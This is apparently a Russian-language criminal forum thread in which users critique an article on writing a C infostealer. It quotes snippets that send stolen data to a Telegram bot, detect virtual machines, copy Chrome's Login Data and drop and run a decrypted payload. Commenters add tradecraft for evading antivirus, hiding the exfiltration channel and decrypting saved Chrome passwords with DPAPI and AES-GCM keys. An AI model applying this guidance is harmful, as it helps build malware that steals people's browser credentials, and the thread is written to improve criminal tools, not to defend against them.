Поскольку у программы нет цели оставаться в системе больше чем на один запуск, никаких шагов по обеспечению постоянства, таких как DLL-инъекции, предпринимать не будет.

Трям! Пока!
 

Вложения

  • arcode.zip
    13.5 КБ · Просмотры: 80
Хорошая, лаконичная стать, ничего нового нету из формата Вау! НО все очень просто и лаконично описано, для начинающего писателя Зла - само то.
 
После сбора всей информации её необходимо отправить. Однако перед этим нужно уменьшить объём данных, поместив их в архив. Для этого я буду использовать утилиту WinRAR (с помощью системной команды), которая установлена на многих компьютерах. Это будет выполнено в следующей функции.
А может и не быть установлена или не будет пути в PATH. У меня кстати на системе оно так и есть. Есть винрар, но я не могу откуда угодно запустить команду rar. Лучше это реализовывать через zip. Написать пакер в zip формат тривиальная задача. Единственное с deflate сжатием может придется подумать, но как минимум всегда есть опенсорсные решения, которые уже давно написаны за нас. Cкорее всего можно накопать решение в 1 *.c* файл. Это уже на твоё усмотрение (или на усмотрение тех, кто будет использовать твою статью, как "гайд"). Но в любом случае пытаться использовать rar плохое решение. Либо надо как минимум проверять есть ли он на ПК или нет. Но даже если и есть, то использовать его в качестве лолбина не пойдет, очень быстро на такое правило напишут и придется переделывать способ. Лучшее решение - делать всё в памяти и не срать процессами/доп файлами/прочим.

snprintf(url, sizeof(url), "/bot%s/sendDocument", botToken);
Размещать токен бота в малваре плохая практика. Если хочется в тг отстук, то надо делать как минимум через прокладку. Не знаю чем может грозить слив токена, но как минимум тебе можно будет засрать твоего бота всяким говном. Например, отправить тебе кучу мусорных логов, которые ты за жизнь не разберёшь. Просто нагенерить и отправить. Энтузиастов полно))

int isVirtualMachineByDrivers() { const char *vmDrivers[] = {"VBoxSF", "VBoxMouse", "VBoxGuest", "vmhgfs", "vmci"}; for (int i = 0; i < sizeof(vmDrivers) / sizeof(vmDrivers[0]); i++) { if (GetModuleHandleA(vmDrivers) != NULL) { return 1; } } return 0; }
Я не эксперт в поиске виртуального окружения, но что-то мне подсказывает, что этот код всегда будет возвращаться 0. Ты уверен, что виртуалбокс инжектит VBoxSF.dll и прочее во все процессы внутри виртуализированной винды? У меня нет вбокса под рукой, да и я им не пользуюсь, так что не могу проверить. Но выглядит это очень сомнительно.

Перейдем к браузерам. Самым популярным браузером является Google Chrome. Файлы располагаются в директории C:\Users\User\AppData\Local\Google\Chrome\User Data. Можно было бы скопировать всю директорию целиком, но она занимает несколько гигабайт данных, поэтому придется подходить более избирательно. Сконцентрируем внимание на файле Login Data. Этот файл хранит информацию о сохранённых пользователем данных для входа на веб-сайты в браузере. Для корректного копирования файлов необходимо хорошо разобраться, за что отвечает каждый файл программы, и понять, как с ним работать. В целом, если мы перенесём всю папку с одного устройства на другое, и версии программы и операционной системы будут идентичными, то проблем с использованием этих данных возникнуть не должно. (Говоря о файле Login Data, стоит отметить, что он зашифрован. Для его расшифровки необходимо использовать API Windows DPAPI. Файл представляет собой базу данных SQLite.)

Код будет выглядеть следующим образом:
Ты вроде написал, что файл БД зашифрован и даже знаешь, что там sqlite. Только ты его скопировал и забыл расшифровать. Тебе придет такой лог и что дальше? Просто подразнить?) часть с dpapi ты должен на клиентсайде проводить, либо как-то этот ключ передавать. Также стоит помнить, что в версиях хрома, где появились префиксы v10 и v11 расшифровка происходит с aes-gcm. И ключ его тоже выдернуть надо из какого-то файла (этот ключ накрыт dpapi). Сейчас говорят опять что-то поменялось. Но смысл в том, что ты скопировал LoginData, но забыл расшифровать. Без расшифровки этот файл бесполезен. Разве что почты и сайты подёргать, но пассов нет.

Напишем также условный лоудер простейшей формы. Его задача — восстанавливать файл, запускать его и удалять, тем самым временно расшифровывая код только в памяти.
FILE *out = fopen(outputFile, "wb");
fclose(out);
if (!CreateProcess(NULL, tempFile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
if (remove(tempFile) == 0) { printf("Временный файл удалён.\n");
Так это не в памяти :) Расшифрованный код ты в итоге дропнул на диск. Скорее всего после выполнения fclose, авер тебе даст пиздюлей) Если не раньше.

Не сочти за хейт, просто минимальная критика. За статью лайк, но надо еще дорабатывать многое, чтобы от этого был хоть какой-то толк.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
и сохранения его в формате BMP:
Зачем в bmp, если есть более легкие форматы, понимаю что сейчас инеты быстрые, но все же.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зачем в bmp, если есть более легкие форматы, понимаю что сейчас инеты быстрые, но все же.
Ну есть svg, он легкий
 
Вроде сбор сразу в памяти не является чем-то супер новым в индустрии, не баян было б. Показал бы реализацию на C .

Ничего натурального нету там в бутылках. Колбаса - вообще сурагат еб.

1736930543179.png
1736930452479.png
1736930358278.png
 
Видны следы ии, статья либо писалась не самостоятельно, либо автор комментирует каждое свое действие и в жизни

printf("Создание RAR архива командой: %s\n", command);
Предположим, у нас есть символ (байт) с ASCII значением 65 (это символ "A"). И наш ключ — 123 (в десятичной системе):

  • Исходный символ (байт): 65 (в двоичной системе 01000001)
  • Ключ (123) в двоичной системе: 01111011

Теперь применяем XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).
Ну тут это наглядно выглядит, всё прямо по пунктам расписал, видимо очень старался:)
И не проще было бы написать, что используешь шифрование, которое хуже сдвига.
Тут информации про упаковщик и шифрование больше, чем про код и софт

Ну и в основном всё делается на диске, что никак не соответствует нормам стиллера. Поэтому это не стиллер, а что то вроде игрушки для школьника, чтобы напугать своих друзей.
 
Последнее редактирование:
Видны следы ии, статья либо писалась не самостоятельно, либо автор комментирует каждое свое действие и в жизни



Ну тут это наглядно выглядит, всё прямо по пунктам расписал, видимо очень старался:)
И не проще было бы написать, что используешь шифрование, которое хуже сдвига.
Тут информации про упаковщик и шифрование больше, чем про код и софт

Ну и в основном всё делается на диске, что никак не соответствует нормам стиллера. Поэтому это не стиллер, а что то вроде игрушки для школьника, чтобы напугать своих друзей.
вполне возможно, там статью на конкурс же надо на 7000 символов написать, вот люди с помощью ИИ стараются, я там статью про ИИ читал на конкурсе - там там 99% текста не о чем и 1% это ссылки с описанием как применить сервис ИИ. Комменты звучат так: Статья божественная, готов родить от автора! o_O И в подобном ключе большая часть статей, с исходниками и кодом, а уж тем более новеньких идей с исходниками нет. Думаю чтобы что люди спецы прогеры просто не хотят палить техники, т.к. с их помощь 100% зарабатывают, а конкурс - как рулетка (опять вспомнил про статью Стакан, аж замутило). Вот для примера вчера искал какой нить проект, натыкаюсь на пару разных объяв - ищут прогера-криптовальщика с/с++/асм для прогруза длл оплата от 2 до 10к в месяц + %, скажим так не много и не мало, интересные объявления. И ТУТ я вспомнил о пару интересных методик как криптовать длл и внедрять длл в длл - по хорошему можно было бы статью написать, но шанс что ее оценят по достоинству почти нулевая(не считаю человек 10-20 на многотысячном форуме) при ее публикации можно только авторитет заработать среди братьев программистов и администрации - не более, а если есть уважение, то проще поработать по теме и заработать от 100к. И ВОТ я старенький и прагматичный выберу не статью(как подумаю еще 7000 символов не считая кода писать, аж плохеет), а выберу деньги. НО в пользу администрации и уважения к Админу скажу, что иногда на меня находит что нить выложить в не конкурсное время - наверное это патриотизм к роду деятельности (плохой импульс, но червячке гложит)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну и в основном всё делается на диске, что никак не соответствует нормам стиллера
Мне больше интересно, что он потом собирается делать с Login Data без разбора Local State? Хотя тут и так можно много до чего докопаться в глобальном плане. Что будет, если на системе нет WinRAR? Вообще, имхо, вот эта тема с установкой WinRAR'а - это чисто СНГшная фишка. Что будет, если у Хромова вдруг не Default профиль. Ну и так далее.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Говоря о файле Login Data, стоит отметить, что он зашифрован. Для его расшифровки необходимо использовать API Windows DPAPI. Файл представляет собой базу данных SQLite.
Я не знаю, как не нейронка могла это написать, наиболее вероятно, что это галюны. Во-первых, файл не зашифрован, зашифрованы пароли. Во-вторых, для расшифровки мастер ключа нужно использовать DPAPI, да и то это верно только для v10 и v11, v20 - сразу мимо.
 
но шанс что ее оценят по достоинству почти нулевая(не считаю человек 10-20 на многотысячном форуме) при ее публикации можно только авторитет заработать среди братьев программистов и администрации - не более, а если есть уважение, то проще поработать по теме и заработать от 100к
Оценить то оценят, но выйграет опять генератор биткоин кошельков)
 
Я не знаю, как не нейронка могла это написать, наиболее вероятно, что это галюны. Во-первых, файл не зашифрован, зашифрованы пароли. Во-вторых, для расшифровки мастер ключа нужно использовать DPAPI, да и то это верно только для v10 и v11, v20 - сразу мимо.
Про V20 это ты зря, играет роль в одном файле, который содержит зашифрованную строку.
 
Прочитал статью, имею несколько вопросов
1) Почему вы выбрали убить процесс, а не заморозить через функционал Win32 OpenProcess с флагом SUSPEND_PROCESS(вроде так звучало)
2) Почему вы рассчитываете, что WinRAR будет установлен? Я бы предпочел зип архив обычный, который создается с вин апи
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх